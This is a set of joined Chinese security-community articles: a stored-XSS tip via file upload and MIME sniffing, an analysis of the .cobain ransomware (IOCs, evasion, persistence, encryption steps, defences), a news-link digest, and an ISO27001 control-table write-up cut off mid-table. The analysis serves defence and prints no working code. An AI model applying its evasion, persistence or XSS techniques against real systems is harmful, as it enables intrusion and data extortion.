总而言之，如果你可以上传一个不带扩展名或存在特殊字符的扩展的文件，并且可以写入html代码，那恭喜你，获得一个储存型XSS。结合Edge或IE的MIME/Content
sniffing漏洞（微软并不认为这是漏洞），你可以执行任意JS代码。
参考来源：[anotherhackerblog](https://anotherhackerblog.com) | 社区文章 |
### 一、样本IOC指标：
样本名 | cobain_en.exe
---|---
Md5 | 57382BDC9BC36731CAF38CC2836D6B3F
CRC32 | BD99E9C7
样本大小 | 1583617 bytes
Sha1/256 | F7BEA0374A2420224BDDD6B3FFBF6989B6599267
### 二、线上沙箱：
✁ 11月6号仅有两家杀毒厂商能够识别.cobain勒索病毒，情报来源分析，该勒索在短期内迭代多个变种，约20家不同规模的公司被该病毒勒索:
### 三、动静样本分析：
➬ 加密算法工具解析，病毒包含Base64、RIJNDAEL、SHA1/256多种标准加密算法：
➬ IDA流程分析如下，下述图可以看到病毒流程图，函数调用的模块与复杂化：
➬ 内部函数采用寄存器+offset方式调用，干扰静态分析，加大病毒分析难度：
➬ sub_41FF4D()函数分析，调用了tls回调，且对_RTL_CRITICAL_SECTION进行了数据检测：
➬ 初始化变量、内存中解密数据，防止静态被检测，如下所示：
➬ 唤醒等待指定条件变量的线程，参数是执行的回调指针。
✍ 获取句柄，SHowWindow隐藏窗口：
➬ 病毒获创建进程快照，遍历电脑中所有进程，获取当前运行进程信息：
➬ 初始化随机密钥(每次随机):
➬ 第二组随机密钥(每次随机):
✍病毒自启动模块，分别在HKEY_LOCAL_MACHINE与HKEY_CURRENT_USER下创建自启动项，达到持久化：
✍添加自启动，带有参数：
"C:\Users\Desktop\cobain_en.exe.bin"
2253bb7a078d5992e3d05911a23a095a7c1507ac3a8abe119587a398c1225833
➬ 通过回调表内存中动态获取函数指针，为了过掉杀毒软件得静态检测：
✎ 内存中提取函数列表，如下所示：
回调函数偏移 | Function
---|---
138F | AreFileApisANSI()
13A9 | CompareStringEx()
13C3 | EnumSystemLocalesEx()
13DD | GetDateFormatEx()
13F7 | GetLocaleInfoEx()
1411 | GetTimeFormatEx()
142B | GetUserDefaultLocaleName()
1445 | IsValidLocaleName()
1479 | LCMapStringEx()
145F | LCIDToLocaleName()
| LocaleNameToLCID()
➬ Base64 DecoDer函数：
➬ 内存数据截获：
00757E88 50 42 74 46 6F 49 4A 4B 50 62 64 50 74 34 34 6C PBtFoIJKPbdPt44l
00757E98 79 67 35 6F 4A 61 5A 4B 77 32 2F 76 77 34 46 44 yg5oJaZKw2/vw4FD
00757EA8 76 5A 62 31 42 77 59 30 59 78 57 43 4A 6B 4E 4E vZb1BwY0YxWCJkNN
00757EB8 48 68 6F 62 75 4B 36 55 66 79 73 37 43 33 30 4F HhobuK6Ufys7C30O
00757EC8 31 2F 52 62 43 31 73 37 46 38 64 70 30 48 38 36 1/RbC1s7F8dp0H86
00757ED8 6A 54 61 63 57 72 4D 65 79 4D 6B 32 2B 31 62 74 jTacWrMeyMk2+1bt
00757EE8 73 46 4B 61 59 41 77 68 6D 4A 2B 4F 4C 61 4F 66 sFKaYAwhmJ+OLaOf
00757EF8 6A 66 78 63 79 66 54 39 70 34 79 4E 69 52 4A 34 jfxcyfT9p4yNiRJ4
00757F08 59 6A 67 6B 62 64 78 53 5A 52 6F 68 69 59 39 32 YjgkbdxSZRohiY92
00757F18 46 58 6E 79 4F 68 76 37 34 48 69 38 51 32 67 4B FXnyOhv74Hi8Q2gK
00757F28 4E 79 70 55 6F 6F 63 66 4F 65 41 3D NypUoocfOeA=
✍ C:\ProgramData目录下创建文件，写入Base64数据：
✍ 获取电脑得设备信息、判断设备类型是否是（未知、可移动硬盘、软盘）种类，加以操作：
➦ 磁盘写入勒索数据，桌面创建勒索佣金信息：
✉ 加密文件流程图：
✒ 勒索病毒遍历磁盘勒索加密，关键代码：
➀ 勒索病毒读取文件路径，内存中拼接文件路径.cobain，格式为:
文件名.cobain，变种：文件名.link.cobain
➁ 选择性设置文件属性为FILE_ATTRIBUTE_HIDDEN隐藏:
➂ 修改文件名，将正常文件修改为.cobain结尾的文件：
➃ 初始化CrpyArrSink ,基于AES-256的算法随机池：
➄ 基于特征，判定采用加密库Cryplibto++，该函数是cryptlib.cpp文件：
➅ 打开文件源文件，CreateFile:
➆ 获取文件类型，如果是目录就进入文件夹继续遍历:
➇ 读取原始文件内容，ReadFile如下所示:
➈ 加密文本数据，如下所示：
➉ 加密数据写回文件，WrieteFile完成加密勒索，如下所示:
➥ 最后每勒索完成一个文件夹，就会在文件夹下创建!!!READ_ME!!!勒索信息。
✉ 后话：
病毒加密采用了AES 与 sha1/256数字加密的这种模式，RSA与AES这种数字加密很常见，当然已有公司能够解该勒索.
水平有限，部分算法逆向这里就不贴出了，因为算法函数分析不到位，加密分析不系统与不完善。
### 四、勒索病毒防御建议：
➥ 非最新勒索病毒，可以尝试360解密大师，免费的解密软件。
➥ 加强网络防御，关闭被滥用的端口如135，445等，更新系统与应用补丁，预防病毒通过应用软件植入病毒，利用系统漏洞提权，大规模内网传播感染。
➥ 更新杀毒软件病毒库，定期巡查对电脑进行病毒查杀与病毒查杀。
➥ 重要的数据要备份，多节点备份。
➥ 加强人员安全意识，安全管理规范，如人员上网，文件下载，垃圾邮件，共享传输等，防患安全意识薄弱被钓鱼植入，水坑攻击。
样本链接：[http://bbs.360.cn/forum.php?mod=viewthread&tid=15798546&highlight=cobain](http://bbs.360.cn/forum.php?mod=viewthread&tid=15798546&highlight=cobain) | 社区文章 |
# 3月2日安全热点 - GitHub已遭大规模DDoS攻击 高达1.3Tbps
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
GitHub 已遭基于 Memcached 的 DDoS 攻击 规模达 1.3 Tbps
<https://www.bleepingcomputer.com/news/security/new-ddos-record-set-at-13-tbps-thanks-to-memcached-servers/>
<http://www.zdnet.com/article/github-was-hit-with-the-largest-ddos-attack-ever-seen/>
<https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/>
微软与英特尔合作，通过Windows更新提供CPU微代码修复
<https://www.bleepingcomputer.com/news/security/microsoft-partners-with-intel-to-deliver-cpu-microcode-fixes-via-windows-updates/>
CISCO软件出现严重漏洞，服务器无需密码可远程登录
> [CISCO软件出现严重漏洞，服务器无需密码可远程登录](http://www.pingwest.com/wire/cisco-elastic-> services-controller/)
惠普远程管理工具中的漏洞使服务器面临危险
> [Bug in HP Remote Management Tool Leaves Servers Open to
> Attack](https://threatpost.com/bug-in-hp-remote-management-tool-leaves-> servers-open-to-attack/130189/)
AdBlock添加了功能来缓存流行的JavaScript库
流行的阻止广告的浏览器扩展AdBlock添加了一项新功能，可以在用户的计算机上本地缓存流行的JavaScript库。
<https://www.bleepingcomputer.com/news/software/adblock-adds-feature-to-cache-popular-javascript-libraries/>
<https://threatpost.com/ad-network-circumvents-ad-blocking-tools-to-run-in-browser-cryptojacker-scripts/130161/>
## 技术类
python沙箱逃逸小结
<https://blog.sectown.cn/archives/41/>
基于Memcached分布式系统DRDoS拒绝服务攻击技术研究
[http://blog.csdn.net/microzone/article/details/79262549?from=timeline&isappinstalled=0](http://blog.csdn.net/microzone/article/details/79262549?from=timeline&isappinstalled=0)
Enumeration sub domains(枚举子域名)
<https://github.com/FeeiCN/ESD>
通过未初始化的缓冲区实现VMWARE利用
<https://www.zerodayinitiative.com/blog/2018/3/1/vmware-exploitation-through-uninitialized-buffers>
漏洞聚焦：简单DirectMedia图层的SDL2_Image漏洞
<http://blog.talosintelligence.com/2018/03/vulnerability-spotlight-simple.html>
亲爱的开发人员，谨防DNS重新绑定
<https://www.twistlock.com/2018/02/28/dear-developers-beware-dns-rebinding/>
以太坊区块链上的Eclipse攻击
<https://bitcoinmagazine.com/articles/researchers-explore-eclipse-attacks-ethereum-blockchain/>
<http://www.cs.bu.edu/~goldbe/projects/eclipseEth.pdf>
Announcing Rust 1.24.1
<https://blog.rust-lang.org/2018/03/01/Rust-1.24.1.html>
在Go中使用反向代理进行网络钓鱼
<https://medium.com/@cooperthecoder/phishing-with-a-reverse-proxy-23dd99557b5b> | 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。先知技术社区投稿邮箱：[email protected]；
安全是一个不断的持续的过程，每个环节都不可缺少，在安全的路上懂的越多发现自己不懂的越多。
## 1 **概述**
我在某做WL的公司负责公司整体安全，保护公司业务系统的安全（这个系统会有大部分看官的个人信息）。公司业务发展很快，但是信息化基础建设很落后，管理不规范，人员技术水平参差不齐，对网络和安全没有认识。领导对安全概念模糊，无法落实；因为是新来的，领导对提出的解决方案有选择的进行，但是有个好的地方就是公司发展太快，出现过不少安全问题，给我们安全部带来了外部推动力（虽然不想出事，但是出事了可以加快安全建设的脚步）。
一年的时间从什么都没到现在的逐渐成型、各种安全流程的建立和落地，建了ISO27001安全体系（通过了认证），此篇文章进行了一个总结，期间也碰到了的很多坑和挫折，自己也在这个过程中学习了成长了，这里再次感谢帮助过我的朋友们，感谢安全部另外一位X大牛。
## 2 **对ISO27001理解**
通过一年的时间对从0到拿证的过程，简单说一下我对ISO27001的理解：不管是ISO27001还是安全我觉得都是围绕着业务进行的，一切的出发点都是保证业务的连续的、稳定的运行，要保证业务的连续的、稳定的运行，你需要知道你有什么资产，资产面临什么风险，这些风险要怎么处理，这样一个过程中还要循序PDCA的原则（plan-do-check-action）。做每一个制度和每一个要求的时候从业务角度出发去思考，这样做才可以最大化的保证所写的制度规范能执行，为后面落地提供依据。凭空或单纯从安全的角度看问题，很容易把问题想的很严重，给出的解决方案往往短时间无法执行，后面会简阐述一下当时的想法。
脱离业务谈安全和脱离安全谈业务都是不现实的。
## 3 **为什么要做**
我个人理解做这个事情的2大因素：
### 3.1 **外因**
一个公司发展到一定程度和规模的时候，公司自身的安全已经不是自己的问题了，你会涉及到社会层面、合作层面、业务发展层面。如：我们公司的发起做ISO27001的需求其实就不是来自安全部，是业务部门在推广业务的过程中遇到了阻力，因为客户的系统过了ISO27001他们会要求你与他对接的系统有一定的安全性，这个要求就表现为ISO27001。
我们就业找工作很多时候是看能力，但是有时候证书就像一个门票，没有门票就无法上车，ISO27001就是一个公司的证书。
还有重要因素《网络安全法》出台了，国家对安全的要求肯定是先从政府自身开始，然后慢慢到要求企业，与其等出事不如从现在开始做。
### 3.2 **内因**
每一个公司通过几年或更长时间的成长，公司会积累很多信息化系统，保障这些系统的正常运行就很重要，并且在对信息化管理过程中出现的很多职责不明确，边界不清，流程和制度不全，所有的操作规范和行为都靠约定俗成，没有体系化文档支撑，这些都影响系统稳定运行。
## 4 **控制项简单说明**
ISO27001相信做安全的同学都有接触，百度有很详细的说明，我简单说一下自己的理解，大牛勿喷。ISO27001是一套安全管理类的文档，为了保证信息化工作和生产正常稳定的运行，一切都是围绕业务展开的，很多安全管理思路从公司的核心业务出发去考虑很多制度和规范都可以合理的解释。说个题外话很多做技术的和做管理的都是相互不对路，相互看不起，说句实在很多时候纯粹靠技术或纯粹靠管理去达到某个防护目标是不可能实现的，技术的实现可以方便和简化管理，管理制度的要求可以推动技术的落地，2者是相辅相成。
ISO27001从原来的15项标准要求变为了现在的18项，新增了2项、通信和操作管理拆除为2项。
下面简单说一下我对18个标准项的理解，并不是所有标准都要响应，如果实际情况没有可以不写，标准的要求不是重新编写公司已有的制度，只需要在原有制度上增加对安全相关的控制项：
**条款号** | **标题** | **标准说明** | **个人理解** | **策略文件** | **制度文件**
---|---|---|---|---|---
**5** | **信息安全策略** | | | |
**5.1** | **信息安全的管理方向** | **信息安全策略集宜由管理者定义、批准、发布并传达给员工和相关外部方。** | | |
5.1.1 | 信息安全策略 | 信息安全方针文件应由管理者批准、发布并传达给所有员工和外部相关方。 |
需要写一个全局性的说明文档，包含：组织环境、领导作用、规划、支持、运行、绩效评价和改进。描述体系适用在哪里，明确职责范围，怎么做，做这些需要什么支持和资源，检查我有没按照要求做好，最后是对自己的考核，以及做的不好的要改进。
| 信息安全管理手册 | 参考策略文件
5.1.2 | 信息安全策略的评审 | 信息安全策略宜按计划的时间间隔或当重大变化发生时进行评审，以确保其持续的适宜性、充分性和有效性。 |
一般是在内审完后做评审，主要是确定系统适不适合公司，不适合可以修改，保证体系是适合的、有效的 | 信息安全体系运行评审制度 |
信息安全内部审核管理制度 | | | | |
**A6** | **信息安全组织** | | | |
**A6.1** | **内部组织** | **在组织内管理信息安全** | | |
A6.1.1 | 信息安全角色和职责 | 雇员、承包方人员和第三方人员的安全角色和职责应按照组织的信息安全方针定义并形成文件。 |
明确本公司领导、部门、员工、外包和第三方的职责 | 信息安全管理手册第三方安全管理策略 | 参考策略文件
A6.1.2 | 职责分配 | 管理者应通过清晰的说明、可证实的承诺、明确的信息安全职责分配及确认，来积极支持组织内的安全。 | 前面明确了职责现在需要分工
| 信息安全管理手册第三方安全管理策略 | 参考策略文件
A6.1.3 | 与政府部门的联系 | 应保持与政府相关部门的适当联系。 |
上级主管单位，消防，公安等政府部门关系，他们对我们的要求，或者我们需要他们提供什么帮助 | 信息安全管理手册 | 参考策略文件
A6.1.4 | 与特定利益集团的联系 | 应保持与特定权益团体、其他安全专家组和专业的协会的适当联系。 |
公司集团、股东、投资人，第三方关系，他们对我们的要求 | 信息安全管理手册 | 参考策略文件
A6.1.5 | 项目管理中的信息安全 | a) 信息安全目标纳入项目目标；b) 在项目的早期阶段进行信息安全风险评估，以识别必要的控制措施；c)
信息安全监控成为项目每个阶段的组成部分。 | 项目管理中考虑安全，最直接的是安全建设占项目成本的10%（比例自定义，此处为例子） | 信息安全管理手册 |
参考策略文件
**A6.2** | **移动设备** | **确保远程工作和使用移动设备时的安全.** | | |
A6.2.1 | 移动设备策略 | 宜采用策略和支持性安全措施来管理由于使用移动设备带来的风险。 | 电脑是怎么管理的，怎么领、怎么用、怎么保护、怎么销毁等
| 移动设备和介质管理策略 | 参考策略文件
A6.2.2 | 远程工作 | 宜实施策略和支持性安全措施来保护在远程工作场地访问、处理或存储的信息 |
对远程管理系统的要求，用什么样的协议，在那个网络使用是否需要VPN等 | 网络安全管理策略 | vpn接入管理制度
**A7** | **人力资源安全** | | | |
**A7.1** | **任用之前** | **确保雇员和承包方人员理解其职责、适于考虑让其承担的角色。** | | |
A7.1.1 | 审查 | 关于所有任用候选者的背景验证核查宜按照相关法律、法规、道德规范和对应的业务要求、被访问信息的类别和察觉的风险来执行。 |
对入职员工的背景、技术能力审查，简单说判断这个人是否卧底以及能力是否胜任 | 人力资源管理策略 | 人力资源管理制度
A7.1.2 | 任用条款和条件 | 与雇员和承包方人员的合同协议宜声明他们和组织的信息安全职责。 | 员工和公司签定合同、竞业协议、保密协议等 | |
**A7.2** | **任用中** | **确保雇员和承包方人员知悉并履行其信息安全职责。** | | |
A7.2.1 | 管理职责 | 管理者宜要求所有雇员和承包方人员按照组织已建立的策略和规程对信息安全尽心尽力。 | 明确职责 | 人力资源管理策略 |
人力资源管理制度
A7.2.2 | 信息安全意识、教育和培训 |
组织的所有雇员，适当时，包括承包方人员，宜受到与其工作职能相关的适当的意识培训和组织策略及规程的定期更新培训。 |
入职培训需要包含安全培训，还需要每年对员工有安全意识培训，含年度计划等 | |
A7.2.3 | 纪律处理过程 | 宜有一个正式的、已传达的纪律处理过程，来对信息安全违规的雇员采取措施。 | 违规了会怎么样，与下面的奖惩对应 | |
**A7.3** | **任用的终止或变更** | **将保护组织利益作为变更或终止任用过程的一部分。** | | |
A7.3.1 | 任用终止或变更的职责 | 管理者应要求雇员、承包方人员和第三方人员按照组织已建立的方针策略和程序对安全尽心尽力。 |
员工离职和岗位变更的时候要怎么做 | 人力资源管理策略 | 人力资源管理制度
**A8** | **资产管理** | | | |
**A8.1** | **对资产负责** | **识别组织资产，并定义适当的保护职责。** | | |
A8.1.1 | 资产清单 | 明晰公司资产情况 | 先找出自己有什么，服务器or应用 | 资产安全管理策略 | 资产安全管理制度
A8.1.2 | 资产所有权 | 清单中所维护的资产应分配所有权。 | 服务器是谁管，应用是谁管，数据库是谁管 | |
A8.1.3 | 资产的可接受使用 | 信息及与信息和信息处理设施有关的资产的可接受使用规则宜被确定、形成文件并加以实施。 |
明确职责权限，不能越界，包含公司员工和第三方 | |
A8.1.4 | 资产的归还 | 所有的雇员和外部方人员在终止任用、合同或协议时，应归还他们使用的所有组织资产。 |
离职或变更需要归还公司资产，包含公司员工和第三方 | |
**A8.2** | **信息分类** | **确保信息按照其对组织的重要性受到适当级别的保护。** | | |
A8.2.1 | 信息的分类 | 信息宜按照法律要求、价值、关键性以及它对未授权泄露或修改的敏感性予以分类。 | 对公司的资产分类，定义级别 |
资产安全管理策略 | 资产安全管理制度
A8.2.2 | 信息的标记 | 宜按照组织所采纳的信息分类机制建立和实施一组合适的信息标记规程。 | 很少涉及，其实就是资产分了级别，要贴个标签 | |
A8.2.3 | 信息的处理 | 宜按照组织所采纳的信息分类机制建立和实施处理资产的规程。 | 根据不同的等级划分指定不同的防御措施 | |
**A8.3** | **介质处置** | **防止存储在介质上的信息遭受未授权泄露、修改、移动或销毁。** | | |
A8.3.1 | 可移动介质的管理 | 宜按照组织所采纳的分类机制实施可移动介质的管理规程。 | 移动介质的管理，U盘、移动硬盘 | 移动设备和介质管理策略
| 移动存储介质管理制度
A8.3.2 | 介质的处置 | 不再需要的介质，宜使用正式的规程可靠并安全地处置。 | 介质管理，怎么使用，怎么保存，怎么销毁 | |
A8.3.3 | 物理介质传输 | 包含信息的介质在运送时，宜防止未授权的访问、不当使用或毁坏。 | 传输过程的完整性和机密性保障 | |
**A9** | **访问控制** | | | |
**A9.1** | **访问控制的业务要求** | **限制对信息和信息处理设施的访问。** | | |
A9.1.1 | 访问控制策略 | 访问控制策略宜建立、形成文件，并基于业务和信息安全要求进行评审。 |
各种访问控制的建立，网络、文件、系统等的访问控制，其实就是不同的人的权限控制 | 访问控制策略 | 参考策略文件
A9.1.2 | 网络和网络服务的访问 | 用户应仅能访问已获专门授权使用的网络和网络服务。 | | |
**A9.2** | **用户访问管理** | **确保授权用户访问系统和服务，并防止未授权的访问。** | | |
A9.2.1 | 用户注册及注销 | 宜实施正式的用户注册及注销规程，使访问权限得以分配。 |
用户标识要唯一，只能一人一个标识，账户的开通变更需要审批，保证职责分离；账号要有定期审计，保证权限都是合理的；特殊权限指root或admin权限的申请要有要求和限制；在有人员变动的时候首先要禁用其账号，保证离职人员不可以登录系统
| 访问控制策略 | 用户账号管理制度
A9.2.2 | 用户访问开通及变更 | 宜实施正式的用户访问开通过程，以分配或撤销所有系统和服务所有用户类型的访问权限。 | | |
A9.2.3 | 特殊访问权限管理 | 宜限制和控制特殊访问权限的分配及使用 | | |
A9.2.4 | 用户秘密鉴别信息管理 | 宜通过正式的管理过程控制秘密鉴别信息的分配 | | |
A9.2.5 | 用户访问权限的复查 | 资产所有者应定期复查用户的访问权限。 | | |
A9.2.6 | 撤销或调整访问权限 | 所有雇员、外部方人员对信息和信息处理设施的访问权限应在任用、合同或协议终止时撤销，或在变化时调整。 | | |
**A9.3** | **用户职责** | **使用户承担保护认证信息安全的责任。** | | |
A9.3.1 | 使用秘密鉴别信息 | 宜要求用户在使用秘密鉴别信息时，遵循组织的实践。 |
有密码复杂度要求，不可以共用账号，不可以在文件或纸上写上密码，这里更多说的是基础的安全账号意识 | 访问控制策略 | 用户账号管理制度
**A9.4** | **系统和应用访问控制** | **防止对系统和应用的未授权访问。** | | |
A9.4.1 | 信息访问限制 | 宜依照访问控制策略限制对信息和应用系统功能的访问 | 还是上面的访问控制的要求 | 访问控制策略 | 参考策略文件
A9.4.2 | 安全登录规程 | 在访问控制策略要求下，访问操作系统和应用宜通过安全登录规程加以控制。 |
不可以暴力登录，需要有登录日志记录，不可以泄漏口令，保证登录的安全 | |
A9.4.3 | 口令管理系统 | 口令管理系统宜是交互式的，并宜确保优质的口令。 | | |
A9.4.4 | 特殊权限实用工具软件的使用 | 对于可能超越系统和应用程序控制措施的适用工具软件的使用应加以限制并严格控制。 |
特殊权限管理工具需要最小授权，需要审计，使用的账号必须可信 | |
A9.4.5 | 对程序源代码的访问控制 | 应限制访问程序源代码。 | 授权后才可以访问，访问需要有记录，复制和上传源码需要严格管控 |
软件开发版本安全管理制度 |
**A10** | **密码学** | | | |
A10.1.1 | 密码控制 | 恰当和有效的利用密码学保护信息的保密性、真实性或完整性。 |
使用什么样的加密，什么样的加密是不安全的，密码怎么存储，怎么传输，怎么销毁 | 密码技术管理策略 | 参考策略文件
A10.1.2 | 密钥管理 | 宜开发和实施贯穿整个密钥生命周期的关于密钥使用、保护和生存期的策略。 | | |
**A11** | **物理和环境安全** | | | |
**A11.1** | **安全区域** | **防止对组织场所和信息的未授权物理访问、损坏和干扰。** | | |
A11.1.1 | 物理安全周边 | 宜定义安全周边和所保护的区域，包括敏感或关键的信息和信息处理设施的区域。 |
公司环境的物理安全考虑，防火、门禁、保安、消防、排水、办公室出入授权等，针对自然灾害的物理防护，设立安全区域，重要的工作可以在安全区域内进行，有人来访可以设立一个等待区域
| 物理安全管理策略 | 机房安全管理制度视频监控管理制度出入访问管理制度
A11.1.2 | 物理入口控制 | 安全区域宜由适合的入口控制所保护，以确保只有授权的人员才允许访问。 | | |
A11.1.3 | 办公室、房间和设施的安全保护 | 宜为办公室、房间和设施设计并采取物理安全措施。 | | |
A11.1.4 | 外部和环境威胁的安全防护 | 为防止自然灾难、恶意攻击或事件，宜设计和采取物理保护措施 | | |
A11.1.5 | 在安全区域工作 | 宜设计和应用工作在安全区域的规程。 | | |
A11.1.6 | 交接区安全 | 访问点（例如交接区）和未授权人员可进入办公场所的其他点宜加以控制，如果可能，宜与信息处理设施隔离，以避免未授权访问。 |
| |
**A11.2** | **设备** | **防止资产的丢失、损坏、失窃或危及资产安全以及组织活动的中断。** | | |
A11.2.1 | 设备安置和保护 | 宜安置或保护设备，以减少由环境威胁和危险所造成的各种风险以及未授权访问的机会。 | 简单说就是从各方面保证设备安全
| 设备安全管理策略 | 参考策略文件
A11.2.2 | 支持性设施 | 宜保护设备使其免于由支持性设施的失效而引起的电源故障和其他中断 | | |
A11.2.3 | 线缆安全 | 宜保证传输数据或支持信息服务的电源布缆和通信布缆免受窃听或损坏。 | | |
A11.2.4 | 设备维护 | 设备宜予以正确地维护，以确保其持续的可用性和完整性 | | |
A11.2.5 | 资产的移动 | 设备、信息或软件在授权之前不宜带出组织场所。 | | |
A11.2.6 | 组织场外设备和资产的安全 | 宜对组织场所外的设备采取安全措施，要考虑工作在组织场所以外的不同风险。 | | |
A11.2.7 | 设备的安全处置或再利用 | 包含储存介质的设备的所有项目宜进行验证，以确保在处置之前，任何敏感信息和注册软件已被删除或安全地写覆盖。 |
| |
A11.2.8 | 无人值守的用户设备 | 用户宜确保无人值守的用户设备有适当的保护。 | | |
A11.2.9 | 清空桌面和屏幕策略 | 遵循良好的信息安全习惯，对非权限内的网络或设备进行控制。 | 用户习惯要求，其实跟安全意识相关 |
计算机管理策略 | 参考策略文件
**A12** | **操作安全** | | | |
**A12.1** | **操作规程和职责** | **确保正确、安全的操作信息处理设施。** | | |
A12.1.1 | 文件化的操作规程 | 操作规程应形成文件并对所有需要的用户可用。 |
如计算机启动和关机规程、备份、设备维护、介质处理、计算机机房、邮件处置管理和安全等 | 安全运维管理策略 | 安全运维管理制度
A12.1.2 | 变更管理 | 对影响信息安全的组织、业务过程、信息处理设施和系统等的变更应加以控制。 | 对资产或系统的变更经行管理 |
变更管理安全策略 | 变更管理安全制度
A12.1.3 | 容量管理 | 资源的使用应加以监视、调整，并作出对于未来容量要求的预测，以确保拥有所需的系统性能。 |
对CPU、内存、硬盘、数据库的监控，保证系统性能 | 安全运维管理策略 | 安全运维管理制度
A12.1.4 | 开发、测试和运行环境分离 | 开发、测试和运行环境应分离，以减少未授权访问或改变运行环境的风险。 | 开发、测试、运行环境 要分离 |
软件开发安全策略 | 软件开发安全管理制度
**A12.2** | **恶意软件防护** | **确保对信息和信息处理设施进行恶意软件防护。** | | |
A12.2.1 | 控制恶意软件 | 应实施恶意软件的检测、预防和恢复的控制措施，以及适当的提高用户安全意识。 |
安装统一防病毒软件，对终端和服务器进行管控 | 计算机管理策略 | 参考策略文件
**A12.3** | **备份** | **为了防止数据丢失。** | | |
A12.3.1 | 信息备份 | 对重要信息进行备份，防止系统断电等危害引起数据丢失。 | 重要信息备份 | 信息备份管理策略 | 数据备份恢复管理制度
**A12.4** | **日志和监视** | **记录事态和生成证据。** | | |
A12.4.1 | 事态记录 | 宜产生记录用户活动、异常情况、故障和信息安全事态的事态日志，并保持定期评审。 |
要保留日志，对日志记录有要求，如：什么人在什么时间用什么权限对什么系统做了什么操作，方便日后追责和审计。堡垒机其实可以满足要求 | 安全审计管理策略 |
参考策略文件
A12.4.2 | 日志信息的保护 | 记录日志的设施和日志信息宜加以保护，以防止篡改和未授权的访问。 | | |
A12.4.3 | 管理员和操作员日志 | 系统管理员和系统操作员的活动宜记入日志，保护日志并定期评审。 | | |
A12.4.4 | 时钟同步 | 一个组织或安全域内的所有相关信息处理设施的时钟宜使用单一参考时间源进行同步。 | | |
**A12.5** | **运行软件的控制** | **确保运行系统的完整性。** | | |
A12.5.1 | 在运行系统上安装软件 | 宜实施规程来控制在运行系统上安装软件。 |
软件白名单，其实很少公司能做得到这样的管理，电脑不可以安装什么，可以安装什么，怎么升级 | 计算机管理策略 | 参考策略文件
**A12.6** | **技术脆弱性管理** | **防止技术脆弱性被利用。** | | |
A12.6.1 | 技术脆弱性的控制 | 宜及时得到现用信息系统技术脆弱性的信息，评价组织对这些脆弱性的暴露程度，并采取适当的措施来处理相关的风险。 |
要有风险评估，漏洞扫描之类的 | 安全运维管理策略 | 安全运维管理制度
A12.6.2 | 限制软件安装 | 应建立和实施软件安装的用户管理规则。 | 同12.5.1 | 计算机管理策略 | 参考策略文件
**A12.7** | **信息系统审计考虑** | **将运行系统审计活动的影响最小化。** | | |
A12.7.1 | 信息系统审计控制措施 | 涉及对运行系统验证的审计要求和活动，应谨慎地加以规划并取得批准，以便使造成业务过程中断最小化。 | 同12.4
| 安全审计管理策略 | 参考策略文件
**A13** | **通信安全** | | | |
**A13.1** | **网络安全管理** | **确保网络中信息的安全性并保护支持性信息处理设施。** | | |
A13.1.1 | 网络控制 | 宜管理和控制网络，以保护系统中信息和应用程序的安全。 |
设置网络ACL、网络传输加密、网络隔离、网络监控，还要求了对提供网络服务的管理要求 | 网络安全管理策略 | 防火墙策略管理制度
A13.1.2 | 网络服务安全 |
安全机制、服务级别以及所有网络服务的管理要求应予以确定并包括在所有网络服务协议中，无论这些服务是由内部提供的还是外包的。 | 参考策略文件 | |
A13.1.3 | 网络隔离 | 宜在网络中隔离信息服务、用户及信息系统。 | 参考策略文件 | |
**A13.2** | **信息传递** | **确保网络中信息的安全性并保护支持性信息处理设施。** | | |
A13.2.1 | 信息传递策略和规程 | 宜有正式的传递策略、规程和控制措施，以保护通过使用各种类型通信设施的信息传递。 |
同13.1，细化网络要求，要求较全面 | 网络安全管理策略 | 参考策略文件
A13.2.2 | 信息传递协议 | 协议应解决组织与外部方之间业务信息的安全传递。 | | |
A13.2.3 | 电子消息发送 | 包含在电子消息发送中的信息应给予适当的保护。 | | |
A13.2.4 | 保密性或不泄露协议 | 宜识别、定期评审并记录反映组织信息保护需要的保密性或不泄露协议的要求。 | | |
**A14** | **系统获取、开发和维护** | | | |
**A14.1** | **信息系统的安全要求** |
**确保信息安全是信息系统整个生命周期中的一个有机组成部分。这也包括提供公共网络服务的信息系统的要求。** | | |
A14.1.1 | 信息安全要求分析和说明 | 信息安全相关要求宜包括新的信息系统要求或增强已有信息系统的要求。 |
明确软件开发所涉及的安全，从软件开发的需求阶段一直到系统的报废，都要考虑 | 软件开发安全策略 | 软件开发安全管理制度
A14.1.2 | 公共网络应用服务安全 | 宜保护公共网络中的应用服务信息，以防止欺骗行为、合同纠纷、未授权泄露和修改。 | | |
A14.1.3 | 保护应用服务交易 | 宜保护涉及应用服务交易的信息，以防止不完整传送、错误路由、未授权消息变更、未授权泄露、未授权消息复制或重放。 |
| |
**A14.2** | **开发和支持过程中的安全** | **应确保进行信息安全设计，并确保其在信息系统开发生命周期中实施。** | | |
A14.2.1 | 安全开发策略 | 宜建立软件和系统开发规则，并应用于组织内的开发。 |
同14.1，开发首选要有自己的一套开发流程，在这个流程上面补全对应的安全要求 | 软件开发安全策略 | 软件开发安全管理制度
A14.2.2 | 系统变更控制规程 | 宜通过使用正式变更控制程序控制开发生命周期中的系统变更。 | | |
A14.2.3 | 运行平台变更后应用的技术评审 | 当运行平台发生变更时，应对业务的关键应用进行评审和测试，以确保对组织的运行和安全没有负面影响。 |
| |
A14.2.4 | 软件包变更的限制 | 宜对软件包的修改进行劝阻，只限于必要的变更，且对所有的变更加以严格控制。 | | |
A14.2.5 | 安全系统工程原则 | 宜建立、记录和维护安全系统工程原则，并应用到任何信息系统实施工作。 | | |
A14.2.6 | 安全开发环境 | 组织应建立并适当保护系统开发和集成工作的安全开发环境，覆盖整个系统开发生命周期。 | | |
A14.2.7 | 外包开发 | 组织应管理和监视外包系统开发活动。 | | |
A14.2.8 | 系统安全测试 | 在开发过程中，应进行安全功能测试。 | | |
A14.2.9 | 系统验收测试 | 确保信息系统符合甲方要求 | | |
**A14.3** | **测试数据** | **确保保护测试数据。** | | |
A14.3.1 | 系统测试数据的保护 | 测试数据应认真地加以选择、保护和控制。 | 测试数据也需要保护 | 软件开发安全策略 | 软件开发安全管理制度
**A15** | **供应商关系** | | | |
**A15.1** | **供应商关系的信息安全** | **确保保护可被供应商访问的组织资产。** | | |
A15.1.1 | 供应商关系的信息安全策略 | 为减缓供应商访问组织资产带来的风险，应与供应商协商并记录相关信息安全要求。 |
